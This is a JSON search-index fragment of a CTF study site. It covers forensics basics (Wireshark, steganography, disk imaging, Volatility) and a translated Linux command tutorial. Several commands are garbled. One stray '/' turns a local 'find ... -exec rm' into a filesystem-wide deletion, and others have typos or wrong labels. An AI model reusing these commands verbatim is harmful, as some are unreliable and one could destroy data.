"},{"location":"CTF/Forensics/#interface","title":"Interface","text":"Upon opening Wireshark, you are greeted with the option to open a PCAP or begin capturing network traffic on your device.
The network traffic displayed initially shows the packets in the order in which they were captured. You can filter packets by protocol, source IP address, destination IP address, length, etc.
To apply filters, simply enter the constraining factor, for example, 'http', in the display filter bar.
Filters can be chained together using the '&&' notation. To filter by IP, ensure a double equals '==' is used.
The most pertinent part of a packet is its data payload and protocol information.
"},{"location":"CTF/Forensics/#decrypting-ssl-traffic","title":"Decrypting SSL Traffic","text":"By default, Wireshark cannot decrypt SSL traffic on your device unless you grant it specific certificates.
"},{"location":"CTF/Forensics/#high-level-ssl-handshake-overview","title":"High-Level SSL Handshake Overview","text":"For a network session to be encrypted properly, the client and server must share a common secret that they can use to encrypt and decrypt data without someone in the middle being able to guess. The SSL Handshake loosely follows this format:
There are several ways to be able to decrypt traffic.
Steganography is the practice of hiding data in plain sight. Steganography is often embedded in images or audio.
You could send a picture of a cat to a friend and hide text inside. Looking at the image, there\u2019s nothing to make anyone think there\u2019s a message hidden inside it.
You could also hide a second image inside the first.
"},{"location":"CTF/Forensics/#steganography-detection","title":"Steganography Detection","text":"So we can hide text and an image, how do we find out if there is hidden data?
FileA and FileD appear the same, but they\u2019re different. Also, FileD was modified after it was copied, so it\u2019s possible there might be steganography in it.
FileB and FileC don\u2019t appear to have been modified after being created. That doesn\u2019t rule out the possibility that there\u2019s steganography in them, but you\u2019re more likely to find it in fileD. This brings up two questions:
Files are made of bytes. Each byte is composed of eight bits.
Changing the least-significant bit (LSB) doesn\u2019t change the value very much.
So we can modify the LSB without changing the file noticeably. By doing so, we can hide a message inside.
"},{"location":"CTF/Forensics/#lsb-steganography-in-images","title":"LSB Steganography in Images","text":"LSB Stegonagraphy or Least Significant Bit Stegonagraphy is a method of steganography where data is recorded in the lowest bit of a byte.
Say an image has a pixel with an RGB value of (255, 255, 255), the bits of those RGB values will look like
1 1 1 1 1 1 1 1By modifying the lowest, or least significant, bit, we can use the 1-bit space across every RGB value for every pixel to construct a message.
1 1 1 1 1 1 1 0The reason steganography is hard to detect by sight is that a 1-bit difference in color is insignificant as seen below.
"},{"location":"CTF/Forensics/#example_2","title":"Example","text":"Let\u2019s say we have an image, and part of it contains the following binary:
And let\u2019s say we want to hide the character y inside.
First, we need to convert the hidden message to binary.
Now we take each bit from the hidden message and replace the LSB of the corresponding byte with it.
And again:
And again:
And again:
And again:
And again:
And again:
And once more:
Decoding LSB steganography is exactly the same as encoding, but in reverse. For each byte, grab the LSB and add it to your decoded message. Once you\u2019ve gone through each byte, convert all the LSBs you grabbed into text or a file. (You can use your file signature knowledge here!)
"},{"location":"CTF/Forensics/#what-other-types-of-steganography-are-there","title":"What other types of steganography are there?","text":"Steganography is hard for the defense side because there\u2019s practically an infinite number of ways it could be carried out. Here are a few examples: - LSB steganography: different bits, different bit combinations - Encode in every certain number of bytes - Use a password - Hide in different places - Use encryption on top of steganography.
"},{"location":"CTF/Forensics/#disk-imaging","title":"Disk Imaging","text":"A forensic image is an electronic copy of a drive (e.g. a hard drive, USB, etc.). It\u2019s a bit-by-\u00adbit or bitstream file that\u2019s an exact, unaltered copy of the media being duplicated.
Wikipedia said that the most straight\u00adforward disk imaging method is to read a disk from start to finish and write the data to a forensics image format. \u201cThis can be a time-consuming process, especially for disks with a large capacity,\u201d Wikipedia said.
To prevent write access to the disk, you can use a write blocker. It\u2019s also common to calculate a cryptographic hash of the entire disk when imaging it. \u201cCommonly-used cryptographic hashes are MD5, SHA1, and/or SHA256,\u201d said Wikipedia. \u201cBy recalculating the integrity hash at a later time, one can determine if the data in the disk image has been changed. This by itself does not protect against intentional tampering, but it can indicate that the data was altered, e.g. due to corruption.\u201d
Why image a disk? Forensic imaging: - Prevents tampering with the original data\u00ad evidence - Allows you to play around with the copy, without worrying about messing up the original
"},{"location":"CTF/Forensics/#forensic-image-extraction-example","title":"Forensic Image Extraction Example","text":"This example uses the tool AccessData FTK Imager.
Step 1: Go to File > Create Disk Image
Step 2: Select Physical Drive
, because the USB or hard drive you\u2019re imaging is a physical device or drive.
Step 3: Select the drive you\u2019re imaging. The 1000 GB is my computer hard drive; the 128 MB is the USB that I want to image.
Step 4: Add a new image destination
Step 5: Select whichever image type you want. Choose Raw (dd)
if you\u2019re a beginner, since it\u2019s the most common type
Step 6: Fill in all the evidence information
Step 7: Choose where you want to store it
Step 8: The image destination has been added. Now you can start the image extraction
Step 9: Wait for the image to be extracted
Step 10: This is the completed extraction
Step 11: Add the image you just created so that you can view it
Step 12: This time, choose the image file, since that\u2019s what you just created
Step 13: Enter the path of the image you just created
Step 14: View the image.
Step 15: To view files in the USB, go to Partition 1 > [USB name] > [root]
in the Evidence Tree and look in the File List
Step 16: Selecting fileA, fileB, fileC, or fileD gives us some properties of the files & a preview of each photo
Step 17: Extract files of interest for further analysis by selecting, right-clicking, and choosing Export Files
There are plenty of traces of someone's activity on a computer, but perhaps some of the most valuable information can be found within memory dumps, that is images taken of RAM. These dumps of data are often very large but can be analyzed using a tool called Volatility
"},{"location":"CTF/Forensics/#volatility-basics","title":"Volatility Basics","text":"Memory forensics isn't all that complicated, the hardest part would be using your toolset correctly. A good workflow is as follows:
strings
for cluesTo properly use Volatility you must supply a profile with --profile=PROFILE
, therefore before any sleuthing, you need to determine the profile using imageinfo:
$ python vol.py -f ~/image.raw imageinfo\nVolatility Foundation Volatility Framework 2.4\nDetermining profile based on KDBG search...\n\n Suggested Profile(s) : Win7SP0x64, Win7SP1x64, Win2008R2SP0x64, Win2008R2SP1x64\n AS Layer1 : AMD64PagedMemory (Kernel AS)\n AS Layer2 : FileAddressSpace (/Users/Michael/Desktop/win7_trial_64bit.raw)\n PAE type : PAE\n DTB : 0x187000L\n KDBG : 0xf80002803070\n Number of Processors : 1\n Image Type (Service Pack) : 0\n KPCR for CPU 0 : 0xfffff80002804d00L\n KUSER_SHARED_DATA : 0xfffff78000000000L\n Image date and time : 2012-02-22 11:29:02 UTC+0000\n Image local date and time : 2012-02-22 03:29:02 -0800\n
"},{"location":"CTF/Forensics/#dump-processes","title":"Dump Processes","text":"To view processes, the pslist
or pstree
, or psscan
command can be used.
$ python vol.py -f ~/image.raw pslist --profile=Win7SP0x64 pstree\nVolatility Foundation Volatility Framework 2.5\nOffset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit\n------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------\n0xffffa0ee12532180 System 4 0 108 0 ------ 0 2018-04-22 20:02:33 UTC+0000\n0xffffa0ee1389d040 smss.exe 232 4 3 0 ------ 0 2018-04-22 20:02:33 UTC+0000\n...\n0xffffa0ee128c6780 VBoxTray.exe 3324 1123 10 0 1 0 2018-04-22 20:02:55 UTC+0000\n0xffffa0ee14108780 OneDrive.exe 1422 1123 10 0 1 1 2018-04-22 20:02:55 UTC+0000\n0xffffa0ee14ade080 svchost.exe 228 121 1 0 1 0 2018-04-22 20:14:43 UTC+0000\n0xffffa0ee1122b080 notepad.exe 2019 1123 1 0 1 0 2018-04-22 20:14:49 UTC+0000\n
"},{"location":"CTF/Forensics/#process-memory-dump","title":"Process Memory Dump","text":"Dumping the memory of a process can prove to be fruitful, say we want to dump the data from notepad.exe:
$ python vol.py -f ~/image.raw --profile=Win7SP0x64 memdump -p 2019 -D dump/\nVolatility Foundation Volatility Framework 2.4\n************************************************************************\nWriting System [ 2019] to 2019.dmp\n\n$ ls -alh dump/2019.dmp\n-rw-r--r-- 1 user staff 111M Apr 22 20:47 dump/2019.dmp\n
"},{"location":"CTF/Forensics/#other-useful-commands","title":"Other Useful Commands","text":"There are plenty of commands that Volatility offers but some highlights include:
$ python vol.py -f IMAGE --profile=PROFILE connections
: view network connections$ python vol.py -f IMAGE --profile=PROFILE cmdscan
: view commands that were run in cmd promptA hexadecimal (hex) editor (also called a binary file editor or byte editor) is a computer program you can use to manipulate the fundamental binary data that constitutes a computer file. The name \u201chex\u201d comes from \u201chexadecimal,\u201d a standard numerical format for representing binary data. A typical computer file occupies multiple areas on the platter(s) of a disk drive, whose contents are combined to form the file. Hex editors that are designed to parse and edit sector data from the physical segments of floppy or hard disks are sometimes called sector editors or disk editors. A hex editor is used to see or edit the raw, exact contents of a file. Hex editors may be used to correct data corrupted by a system or application. A list of editors can be found on the forensics Wiki. You can download one and install it on your system.
"},{"location":"CTF/Forensics/#example_3","title":"Example","text":"Open fileA.jpg in a hex editor. (Most Hex editors have either a \u201cFile > Open\u201d option or a simple drag and drop.)
When you open fileA.jpg in your hex editor, you should see something similar to this:
Your hex editor should also have a \u201cgo to\u201d or \u201cfind\u201d feature so you can jump to a specific byte.
"},{"location":"CTF/Linux%20Basics/","title":"Linux OS Installation and Basics","text":"https://linuxtools-rst.readthedocs.io/zh_CN/latest/base/index.html
https://www.tutorialspoint.com/unix/index.htm
https://www.digitalocean.com/community/tutorials/an-introduction-to-linux-basics
"},{"location":"CTF/Linux%20Basics/#what-is-unix","title":"What is Unix ?","text":"The Unix operating system is a set of programs that act as a link between the computer and the user.
The computer programs that allocate the system resources and coordinate all the details of the computer's internals are called the operating system or the kernel.
Users communicate with the kernel through a program known as the shell. The shell is a command line interpreter; it translates commands entered by the user and converts them into a language that is understood by the kernel.
To follow along with this guide, you will need access to a computer running a Linux-based operating system. This can either be a virtual private server that you\u2019ve connected to with SSH or your local machine. Note that this tutorial was validated using a Linux server running Ubuntu 20.04, but the examples given should work on a computer running any version of any Linux distribution.
If you plan to use a remote server to follow this guide, we encourage you to first complete our Initial Server Setup guide. Doing so will set you up with a secure server environment \u2014 including a non-root user with sudo
privileges and a firewall configured with UFW \u2014 which you can use to build your Linux skills.
The terms \u201cterminal,\u201d \u201cshell,\u201d and \u201ccommand line interface\u201d are often used interchangeably, but there are subtle differences between them:
When someone refers to one of these three terms in the context of Linux, they generally mean a terminal environment where you can run commands and see the results printed out to the terminal, such as this:
Becoming a Linux expert requires you to be comfortable with using a terminal. Any administrative task, including file manipulation, package installation, and user management, can be accomplished through the terminal. The terminal is interactive: you specify commands to run and the terminal outputs the results of those commands. To execute any command, you type it into the prompt and press ENTER
.
When accessing a cloud server, you\u2019ll most often be doing so through a terminal shell. Although personal computers that run Linux often come with the kind of graphical desktop environment familiar to most computer users, it is often more efficient or practical to perform certain tasks through commands entered into the terminal.
"},{"location":"CTF/Linux%20Basics/#learn-to-use-command-help","title":"Learn to use command help","text":""},{"location":"CTF/Linux%20Basics/#overview","title":"Overview","text":"In the linux terminal, when we don't know how to use a command, or don't remember the spelling of a command or its parameters, we need to turn to the system's help documentation; the built-in help documentation in linux is very detailed and usually solves our problems, so we need to know how to use it properly.
These commands are described below.
"},{"location":"CTF/Linux%20Basics/#command-usage","title":"Command usage","text":""},{"location":"CTF/Linux%20Basics/#view-a-brief-description-of-the-command","title":"View a brief description of the command","text":"A brief description of what the command does (showing the man category page where the command is located):
$whatis command\n
Regular match:
$whatis -w \"loca*\"\n
More detailed documentation:
$info command\n
"},{"location":"CTF/Linux%20Basics/#using-man","title":"Using man","text":"Query the documentation for the command command:
$man command\neg: man date\n
Using page up and page down to page up and down
In the man help manual, the help documentation is divided into 9 categories, for some keywords that may exist in more than one category, we need to specify a specific category to view; (generally, we query the bash command, categorized in category 1).
man page belongs to the category identification (commonly used is category 1 and category 3)
(1), the user can operate the command or executable file\n(2), the core of the system can be called functions and tools, etc.\n(3), some common functions and databases\n(4), the description of the device file\n(5), the format of the settings file or some files\n(6), games\n(7), conventions and protocols, etc. For example, the Linux standard file system, network protocols, ASCII, code and other descriptions of the content\n(8), the system administrator available to manage the order\n(9), and kernel-related files\n
As mentioned earlier using whatis will show the specific document category where the command is located, we learn how to use it
eg:\n$whatis printf\nprintf (1) - format and print data\nprintf (1p) - write formatted output\nprintf (3) - formatted output conversion\nprintf (3p) - print formatted output\nprintf [builtins] (1) - bash built-in commands, see bash(1)\n
We see that printf is available in both category 1 and category 3; the pages in category 1 are for help on command operations and executables; while 3 is for instructions on commonly used libraries; if we want to see the use of printf in C, we can specify to see the help in category 3:
$man 3 printf\n\n$man -k keyword\n
query keyword Query commands based on some of the keywords in the command, for occasions when only part of the command is remembered.
eg: Find GNOME's config tool command:
$man -k GNOME config| grep 1\n
For a word search, you can use /word directly to use: /-a; pay more attention to SEE ALSO to see more exciting content
"},{"location":"CTF/Linux%20Basics/#checking-paths","title":"Checking paths","text":"Check the path to the program's binary file:
$which command\n
eg: Find the path where the make program is installed:
$which make\n/opt/app/openav/soft/bin/make install\n
Check the search path of the program:
$whereis command\n
This command comes in handy when there are multiple versions of the same software installed on the system and you are not sure which version is being used.
"},{"location":"CTF/Linux%20Basics/#file-and-directory-management","title":"File and directory management","text":"Directory
File management is nothing more than creating, deleting, querying, and moving files or directories, with mkdir/rm/mv
file query as the focus, with found for query; find is parameter rich and very powerful.
viewing file content is a big topic, and there are too many tools for us to use for text processing, which are just pointed out in this chapter, and a special chapter will be devoted to text processing tools later.
Sometimes it is necessary to create an alias for a file, and we need to use ln, using this alias has the same effect as using the original file.
"},{"location":"CTF/Linux%20Basics/#create-and-delete","title":"Create and delete","text":"View the number of files in the current directory:
$find . / | wc -l\n
Copy the directory:
$cp -r source_dir dest_dir\n
"},{"location":"CTF/Linux%20Basics/#directory-switching","title":"Directory switching","text":"The above command is used so often that we need to create a shortcut for it:
Set the command alias in .bashrc:
alias lsl='ls -lrt'\nalias lm='ls -al|more'\n
so that, using lsl, the files in the directory can be displayed sorted by modification time; in a list.
> ls | cat -n\n
> 1 a 2 a.out 3 app 4 b 5 bin 6 config
Note: .bashrc is stored as a hidden file under the /home/your username/ folder; you can check it with ls -a.
"},{"location":"CTF/Linux%20Basics/#find-directories-and-files-findlocate","title":"Find directories and files find/locate","text":"Search for a file or directory:
$find . / -name \"core*\" | xargs file\n
Find if there is an obj file in the target folder:
$find . / -name '*.o'\n
Recursively delete all .o files in the current directory and subdirectories:
$find . / -name \"*.o\" -exec rm {} \\;\n
find is a real-time lookup, if you need a faster query, try locate; locate will create an index database for the file system, if there are file updates, you need to execute the update command periodically to update the index database:
$locate string\n
Find paths that contain string:
$updatedb\n
Unlike find, locate is not a real-time lookup. You need to update the database to get the latest file index information.
"},{"location":"CTF/Linux%20Basics/#view-file-contents","title":"View file contents","text":"To view the file: cat vi head tail more
Display the file with the line number:
$cat -n\n
Show list contents by page:
$ls -al | more\n
See only the first 10 lines:
$head - 10 **\n
Show the first line of the file:
$head -1 filename\n
Show the penultimate line of the file:
$tail -5 filename\n
See the difference between the two files:
$diff file1 file2\n
Dynamically display the latest information in the text:
$tail -f crawler.log\n
"},{"location":"CTF/Linux%20Basics/#find-the-contents-of-a-file","title":"Find the contents of a file","text":"Use egrep to query the contents of a file:
egrep '03.1\\/CO\\/AE' TSF_STAT_111130.log.012\negrep 'A_LMCA777:C' TSF_STAT_111130.log.035 > co.out2\n
"},{"location":"CTF/Linux%20Basics/#file-and-directory-permission-modification","title":"File and directory permission modification","text":"Create symbolic/hard links:
ln cc ccAgain :hard link; delete one, will still be found.\nln -s cc ccTo :symbolic link (soft link); delete the source, the other will not be available; (the latter ccTo is a newly created file)\n
"},{"location":"CTF/Linux%20Basics/#pipelines-and-redirects","title":"Pipelines and Redirects","text":"ls /proc && echo suss! || echo failed.\n
The ability to indicate whether the named execution succeeded OR failed.
The same effect as above is :
if ls /proc; then echo suss; else echo failed; fi\n
Redirect:
ls proc/*.c > list 2> &l Redirects standard output and standard errors to the same file.\n
The equivalent is :
ls proc/*.c &> list\n
Clear the file:
:> a.txt\n
Redirect:
echo aa >> a.txt\n
"},{"location":"CTF/Linux%20Basics/#setting-environment-variables","title":"Setting environment variables","text":"automatically executed after starting the account is the file .profile, through which you can then set your own environment variables.
The path of the installed software usually needs to be added to the path:
PATH=$APPDIR:/opt/app/soft/bin:$PATH:/usr/local/bin:$TUXDIR/bin:$ORACLE_HOME/bin;export PATH\n
"},{"location":"CTF/Linux%20Basics/#bash-shortcut-input-or-delete","title":"Bash shortcut input or delete","text":"Shortcut keys:
Ctl-U deletes all characters from the cursor to the beginning of the line, and in some settings, the entire line\nCtl-W deletes the characters between the current cursor and the nearest preceding space\nCtl-H backspace, delete the character in front of the cursor\nCtl-R match the closest file and output\n
"},{"location":"CTF/Linux%20Basics/#integrated-applications","title":"Integrated Applications","text":"Find the total number of records in record.log that contain AAA, but not BBB:
cat -v record.log | grep AAA | grep -v BBB | wc -l\n
"},{"location":"CTF/Linux%20Basics/#text-processing","title":"Text processing","text":"Directory
This section will introduce the most commonly used tools for working with text in the shell under Linux: find, grep, xargs, sort, uniq, tr, cut, paste, wc, sed, awk; the examples and arguments provided are all commonly used; my rule for shell scripts is to write a single line of command, try not to exceed 2 lines; if there are more more complex tasks, consider python.
"},{"location":"CTF/Linux%20Basics/#find-file-search","title":"Find file search","text":"find txt and pdf files:
find . \\( -name \"*.txt\" -o -name \"*.pdf\" \\) -print\n
regular way to find .txt and pdf:
find . -regex \". *\\(\\.txt|\\.pdf\\)$\"\n
-iregex: ignore case-sensitive regularity
Negate arguments , find all non-txt text:
find . ! -name \"*.txt\" -print\n
Specify the search depth, print out the files in the current directory (depth 1):
find . -maxdepth 1 -type f\n
"},{"location":"CTF/Linux%20Basics/#custom-search","title":"Custom search","text":"find . -type d -print // list all directories only\n
-type f files / l symbolic links / d directories
the file search types supported by find can distinguish between ordinary files and symbolic links, directories, etc., but binary and text files cannot be distinguished directly by the types of find
The file command can check the specific type of file (binary or text):
$file redis-cli # binary file\nredis-cli: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.9, not stripped\n$file redis.pid # Text file\nredis.pid: ASCII text\nredis.pid: ASCII text\n
So, you can use the following combination of commands to find all the binary files in your local directory:
ls -lrt | awk '{print $9}'|xargs file|grep ELF| awk '{print $1}'|tr -d ':'\n
Search by time
-atime access time (in days, or -amin in minutes, similar below) -mtime modification time (content was modified) -ctime change time (metadata or permission changes)
All files that have been accessed in the last 7 days:
find . -atime 7 -type f -print\n
All files that have been accessed in the last 7 days:
find . -atime -7 -type f -print\n
Search for all files accessed 7 days ago:
find . -atime +7 type f -print\n
w word k M G Find files larger than 2k:
find . -type f -size +2k\n
Find by permissions:
find . -type f -perm 644 -print //find all files with executable permissions\n
Find by user:
find . -type f -user weber -print// Find files owned by user weber\n
"},{"location":"CTF/Linux%20Basics/#follow-up-actions-after-finding","title":"Follow-up actions after finding","text":"Delete all swp files in the current directory:
find . -type f -name \"*.swp\" -delete\n
Another syntax:
find . type f -name \"*.swp\" | xargs rm\n
Change the ownership of the current directory to weber:
find . -type f -user root -exec chown weber {} \\;\n
Note: {} is a special string, and for each matching file, {} is replaced with the corresponding filename.
Copy all the files found to another directory:
find . -type f -mtime +10 -name \"*.txt\" -exec cp {} OLD \\;\n
If you need to execute multiple commands subsequently, you can write multiple commands as one script. Then just execute the script when -exec is called:
-exec . /commands.sh {} \\;\n
"},{"location":"CTF/Linux%20Basics/#-prints-delimiter","title":"-print's delimiter","text":"Use '\\n' as the delimiter for the file by default.
-print0 uses '\\0' as the file delimiter so that it can search for files containing spaces.
"},{"location":"CTF/Linux%20Basics/#grep-text-search","title":"Grep text search","text":"grep match_patten file // default access to matching lines\n
Common parameters
-o only output matching text lines VS -v only output text lines that do not match
-c counts the number of times the file contains text
grep -c \"text\" filename\n
-n Print matching line numbers
-i Ignore case when searching
-l prints only the file name
Recursive search for text in multi-level directories (a favorite of programmers searching for code):
grep \"class\" . -R -n\n
Match multiple patterns:
grep -e \"class\" -e \"vitural\" file\n
grep output file names with a 0 as the ending character (-z):
grep \"test\" file* -lZ| xargs -0 rm\n
Comprehensive application: find all sql lookups with where conditions in the log:
cat LOG.* | tr a-z A-Z | grep \"FROM \" | grep \"WHERE\" > b\n
find Chinese example: project directory in utf-8 format and gb2312 format two kinds of files, to find the word is Chinese.
find out its utf-8 encoding and gb2312 encoding are E4B8ADE69687 and D6D0CEC4 respectively
query :
grep: grep -rnP \"\\xE4\\xB8\\xAD\\xE6\\x96\\x87|\\xD6\\xD0\\xCE\\xC4\" * can be\n
Chinese character code lookup: http://bm.kdd.cc/
"},{"location":"CTF/Linux%20Basics/#xargs-command-line-parameter-conversion","title":"Xargs Command Line Parameter Conversion","text":"xargs is able to convert input data into command line arguments for a specific command; in this way, it can be used in combination with many commands. e.g. grep, e.g. find; - Converting multi-line output to single-line output
cat file.txt| xargs
n is a delimiter between multiple lines of text
cat single.txt | xargs -n 3\n
-n: specifies the number of fields to display per line
Description of xargs parameters
-d defines the delimiter (the default is a space. The delimiter for multiple lines is n) -n specifies that the output is multi-line -I {} specifies the replacement string that will be replaced when xargs is expanded, used when the command to be executed requires multiple arguments -0: specify 0 as input delimiter
Example:
cat file.txt | xargs -I {} . /command.sh -p {} -1\n\n# Count the number of lines in the program\nfind source_dir/ -type f -name \"*.cpp\" -print0 |xargs -0 wc -l\n\n#redis stores data by string and indexes by set, and needs to look up all values by index.\n. /redis-cli smembers $1 | awk '{print $1}'|xargs -I {} . /redis-cli get {}\n
"},{"location":"CTF/Linux%20Basics/#sort","title":"Sort","text":"Field Description
-n Sort by number VS -d Sort by dictionary order -r Sort in reverse order -k N specifies sorting by column N
Example:
sort -nrk 1 data.txt\nsort -bd data // ignore leading whitespace characters like spaces\n
"},{"location":"CTF/Linux%20Basics/#uniq-eliminate-duplicate-rows","title":"Uniq Eliminate duplicate rows","text":"sort unsort.txt | uniq\n
sort unsort.txt | uniq -c\n
sort unsort.txt | uniq -d\n
You can specify the duplicates to be compared in each line: -s start position -w number of characters to compare
"},{"location":"CTF/Linux%20Basics/#converting-with-tr","title":"Converting with tr","text":"echo 12345 | tr '0-9' '9876543210' // encryption and decryption conversion, replacing the corresponding characters\ncat text| tr '\\t' ' ' //tab to space conversion\n
cat file | tr -d '0-9' // delete all numbers\n
-c find the complement
cat file | tr -c '0-9' // Get all the numbers in the file\ncat file | tr -d -c '0-9 \\n' // delete non-numeric data\n
tr -s compresses repetitive characters in text; most often used to compress extra spaces:
cat file | tr -s ' '\n
Character classes
Various character classes are available in tr.
alnum: letters and numbers alpha: letters digit: numbers space: blank characters lower: lowercase upper: uppercase cntrl: control (non-printable) characters print: printable characters
Usage: tr [:class:] [:class:]
tr '[:lower:]' '[:upper:]'\n
"},{"location":"CTF/Linux%20Basics/#cut-cut-text-by-column","title":"Cut cut text by column","text":"cut -f2,4 filename\n
cut -f3 --complement filename\n
-d Specify delimiters
cat -f2 -d\";\" filename\n
-cut The range to take
N - Nth field to the end -M 1st field for MN-M N to M fields\n
The unit to be fetched by cut
-b in bytes -c in characters -f in fields (using delimiters)
Example:
cut -c1-5 file // print first to 5 characters\ncut -c-2 file //Print the first 2 characters\n
Truncate columns 5 to 7 of the text
$echo string | cut -c5-7\n
"},{"location":"CTF/Linux%20Basics/#paste-splice-text-by-column","title":"Paste Splice text by column","text":"Splices two pieces of text together by column;
cat file1\n1\n2\n\ncat file2\ncolin\nbook\n\npaste file1 file2\n1 colin\n2 book\n
The default delimiter is tab, you can use -d to specify the delimiter:
paste file1 file2 -d \",\"\n1,colin\n2,book\n
"},{"location":"CTF/Linux%20Basics/#wc-tools-for-counting-lines-and-characters","title":"Wc Tools for counting lines and characters","text":"$wc -l file // count the number of lines\n\n$wc -w file // count the number of words\n\n$wc -c file // count the number of characters\n
"},{"location":"CTF/Linux%20Basics/#sed-text-replacement-tool","title":"Sed text replacement tool","text":"sed 's/text/replace_text/' file // Replace the first matching text on each line\n
sed 's/text/replace_text/g' file\n
Default replace, output the replaced content, if you need to replace the original file directly, use -i:
sed -i 's/text/repalce_text/g' file\n
sed '/^$/d' file\n
Matched strings are referenced by the & marker.
echo this is en example | sed 's/\\w+/[&]/g'\n$>[this] [is] [en] [example]\n
The contents of the first matching bracket are referenced using token 1
sed 's/hello\\([0-9]\\)/\\1/'\n
sed is usually quoted in single quotes; double quotes can also be used, and when used, double quotes will evaluate the expression:
sed 's/$var/HLLOE/'\n
when using double quotes, we can specify variables in sed style and in replacement strings.
eg:\np=patten\nr=replaced\necho \"line con a patten\" | sed \"s/$p/$r/g\"\n$>line con a replaced\n
String insertion character: converts each line of text (ABCDEF) to ABC/DEF:
sed 's/^. \\{3\\}/&\\/g' file\n
"},{"location":"CTF/Linux%20Basics/#awk-data-stream-processing-tool","title":"Awk data stream processing tool","text":"awk ' BEGIN{ statements } statements2 END{ statements } '\n
How it works
executing the block of statements in begin.
reads a line from the file or stdin and executes statements2, repeating the process until the file has been read in its entirety.
Execute the end statement block.
echo -e \"line1\\nline2\" | awk 'BEGIN{print \"start\"} {print } END{ print \"End\" }'\n
echo | awk ' {var1 = \"v1\" ; var2 = \"V2\"; var3 = \"v3\"; \\\nprint var1, var2 , var3; }'\n$>v1 V2 v3\n
echo | awk ' {var1 = \"v1\" ; var2 = \"V2\"; var3 = \"v3\"; \\\nprint var1\"-\"var2\"-\"var3; }'\n$>v1-V2-v3\n
"},{"location":"CTF/Linux%20Basics/#special-variables-nr-nf-0-1-2","title":"Special variables: NR NF $0 $1 $2","text":"NR:indicates the number of records, corresponding to the line number that should precede it during execution.
NF:indicates the number of fields, which always pairs up with the number of fields that should go forward during execution.
$0:this variable contains the text content of the current line during execution.
$1:the text content of the first field.
$2:the text content of the second field.
echo -e \"line1 f2 f3 \\n line2 \\n line 3\" | awk '{print NR\":\"$0\"-\"$1\"-\"$2}'\n
awk '{print $2, $3}' file\n
awk ' END {print NR}' file\n
echo -e \"1\\n 2\\n 3\\n 4\\n\" | awk 'BEGIN{num = 0 ;\nprint \"begin\";} {sum += $1;} END {print \"==\"; print sum }'\n
"},{"location":"CTF/Linux%20Basics/#passing-external-variables","title":"Passing external variables","text":"var=1000\necho | awk '{print vara}' vara=$var # Input from stdin\nawk '{print vara}' vara=$var file # Input from file\n
"},{"location":"CTF/Linux%20Basics/#filter-the-lines-processed-by-awk-with-the-style","title":"Filter the lines processed by awk with the style","text":"awk 'NR < 5' # line number less than 5\nawk 'NR == 1,NR == 4 {print}' file # Print out line numbers equal to 1 and 4\nawk '/linux/' # lines containing linux text (can be specified with regular expressions, super powerful)\nawk '! /linux/' # lines that do not contain linux text\n
"},{"location":"CTF/Linux%20Basics/#set-delimiters","title":"Set delimiters","text":"Use -F to set delimiters (default is spaces):
awk -F: '{print $NF}' /etc/passwd\n
"},{"location":"CTF/Linux%20Basics/#read-command-output","title":"Read command output","text":"Use getline to read the output of an external shell command into the variable cmdout:
echo | awk '{\"grep root /etc/passwd\" | getline cmdout; print cmdout }'\n
"},{"location":"CTF/Linux%20Basics/#using-loops-in-awk","title":"Using loops in awk","text":"for(i=0;i<10;i++){print $i;}\nfor(i in array){print array[i];}\n
eg:The following string, print out the time string:
2015_04_02 20:20:08: mysqli connect failed, please check connect info\n$echo '2015_04_02 20:20:08: mysqli connect failed, please check connect info'|awk -F \":\" '{ for(i=1;i<=;i++) printf(\"%s:\",$i)}'\n>2015_04_02 20:20:08: # This way will print the last colon\n$echo '2015_04_02 20:20:08: mysqli connect failed, please check connect info'|awk -F':' '{print $1 \":\" $2 \":\" $3; }'\n>2015_04_02 20:20:08 # This way satisfies the requirement\n
And if you need to print out the later part as well (the time part is printed separately from the later text) :
$echo '2015_04_02 20:20:08: mysqli connect failed, please check connect info'|awk -F':' '{print $1 \":\" $2 \":\" $3; print $4;}'\n>2015_04_02 20:20:08\n>mysqli connect failed, please check connect info\n
Print the rows in reverse order: (implementation of the tac command):
seq 9| \\\nawk '{lifo[NR] = $0; lno=NR} \\\nEND{ for(;lno>-1;lno--){print lifo[lno];}\n} '\n
"},{"location":"CTF/Linux%20Basics/#awk-combined-with-grep-finds-the-specified-service-and-kills-it","title":"awk combined with grep finds the specified service and kills it","text":"ps -fe| grep msv8 | grep -v MFORWARD | awk '{print $2}' | xargs kill -9;\n
"},{"location":"CTF/Linux%20Basics/#awk-implementation-of-head-and-tail-commands","title":"awk implementation of head and tail commands","text":"awk 'NR<=10{print}' filename\n
awk '{buffer[NR%10] = $0;} END{for(i=0;i<11;i++){ \\\nprint buffer[i %10]} } ' filename\n
"},{"location":"CTF/Linux%20Basics/#print-the-specified-column","title":"Print the specified column","text":"ls -lrt | awk '{print $6}'\n
ls -lrt | cut -f6\n
"},{"location":"CTF/Linux%20Basics/#print-the-specified-text-area","title":"Print the specified text area","text":"seq 100| awk 'NR==4,NR==6{print}'\n
Print the text between start_pattern and end_pattern:
awk '/start_pattern/, /end_pattern/' filename\n
Example:
seq 100 | awk '/13/,/15/'\ncat /etc/passwd| awk '/mai.*mail/,/news.*news/'\n
"},{"location":"CTF/Linux%20Basics/#awk-common-built-in-functions","title":"awk common built-in functions","text":"index(string,search_string):return the position of search_string in string
sub(regex,replacement_str,string):replace the first regular match with replacement_str;
match(regex,string):check if the regular expression can match the string.
length(string):return the length of the string
echo | awk '{\"grep root /etc/passwd\" | getline cmdout; print length(cmdout) }'\n
printf is similar to printf in c, and formats the output:
seq 10 | awk '{printf \"->%4s\\n\", $1}'\n
"},{"location":"CTF/Linux%20Basics/#iterate-over-lines-words-and-characters-in-a-file","title":"Iterate over lines, words and characters in a file","text":""},{"location":"CTF/Linux%20Basics/#iterate-over-each-line-in-the-file","title":"Iterate over each line in the file","text":"while read line;\ndo\necho $line;\ndone < file.txt\n\nChange to a subshell:\ncat file.txt | (while read line;do echo $line;done)\n
cat file.txt| awk '{print}'\n
"},{"location":"CTF/Linux%20Basics/#iterate-over-each-word-in-a-line","title":"Iterate over each word in a line","text":"for word in $line;\ndo\necho $word;\ndone\n
"},{"location":"CTF/Linux%20Basics/#iterate-over-each-character","title":"Iterate over each character","text":"${string:start_pos:num_of_chars}: extract a character from the string; (bash text slicing)
